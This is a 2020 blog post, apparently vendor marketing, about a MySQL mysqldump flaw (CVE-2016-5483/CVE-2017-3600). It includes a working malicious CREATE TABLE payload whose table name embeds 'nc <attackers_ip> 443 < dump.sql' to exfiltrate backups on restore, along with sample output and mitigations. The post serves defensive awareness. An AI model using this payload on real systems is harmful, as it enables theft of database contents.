Why You May Be Storing Malware in Your Database Backups

Why You May Be Storing Malware in Your Database Backups

Andrew Abwoga
30 June 2020

 

In the recent past, there have been attacks primarily caused by vulnerable database components. Lack of proper security controls around your database tools may give opportunities for threat actors to use your backups as backdoors to your systems and data. The primary cause of this kind of attack is the lack of patching of database components/tools. As we shall see, lack of patching and other proactive security measures may subsequently help attackers create persistent backdoors in your system that may render your data always accessible to the attackers and it may escalate to the holding of your backups or data at ransom.

Backdoor Vulnerability

In particular, a vulnerability named CVE-2016-5483 or CVE-2017-3600 may be leveraged by threat actors to create backdoors on your systems. The vulnerability only applies to MySQL Server components with the versions 5.5.54 and earlier, 5.6.35 and earlier, or 5.7.17 and earlier. The vulnerability allows the threat actor to create a malicious table with arbitrary code that executes at the operating system level during a backup restore. Below we examine an attack scenario that demonstrates how to create a persistent backdoor using your backups and potentially escalate to holding your data at ransom

Backdoor Vulnerability

Attack Scenario

  1. An attacker accesses your database by exploiting an SQL injection vulnerability on your application as shown in the diagram above.
  2. The attacker then creates a table with the injected SQL code.
    CREATE TABLE `evil
    \! nc <attackers_ip> 443 < dump.sql
    select user(),@@version/*`  (test text);
    
  3. A regular backup on your database server is triggered with the mysqldump tool. The dump will contain comments as shown below.
    --
    -- Table structure for table `evil
    \! nc <attackers_ip> 443 < dump.sql
    select user(),@@version/*`
    --
    
  4. A restore of the database using the dump is run causing the malicious code to execute.
    $mysql test < dump.sql
    Ncat: Version 7.80 ( https://nmap.org/ncat )
    Ncat: Connected to <attacker_ip>:443.
    Ncat: 1000 bytes sent, 0 bytes received in 0.54 seconds.
    
  5. The malicious code effectively copies your database dumps and sends them to the attacker’s database for each restore. Depending on their motivation, they may decide to either delete your current database or keep stealing your data and later ask for collateral of which, if not paid, may have your sensitive data exposed to the public or you may completely lose all your data.

Mitigations

These are some of the preventive measures to mitigate such kinds of attacks.

  • Patch your database components/tools to the latest stable versions.
  • Use --skip-comments or any other flags that may reduce unnecessary metadata when using mysqldump to ensure you don’t have malicious code embedded in your database backups.
  • Revoke CREATE TABLE privileges wherever possible and other relevant privileges where possible.
  • Only dump table data instead of the structure in scheduled backups.

Use a securely configured tool like Backup Ninja. Backup Ninja guarantees securely configured and parameterized options when running database components and sub-components like mysqldump.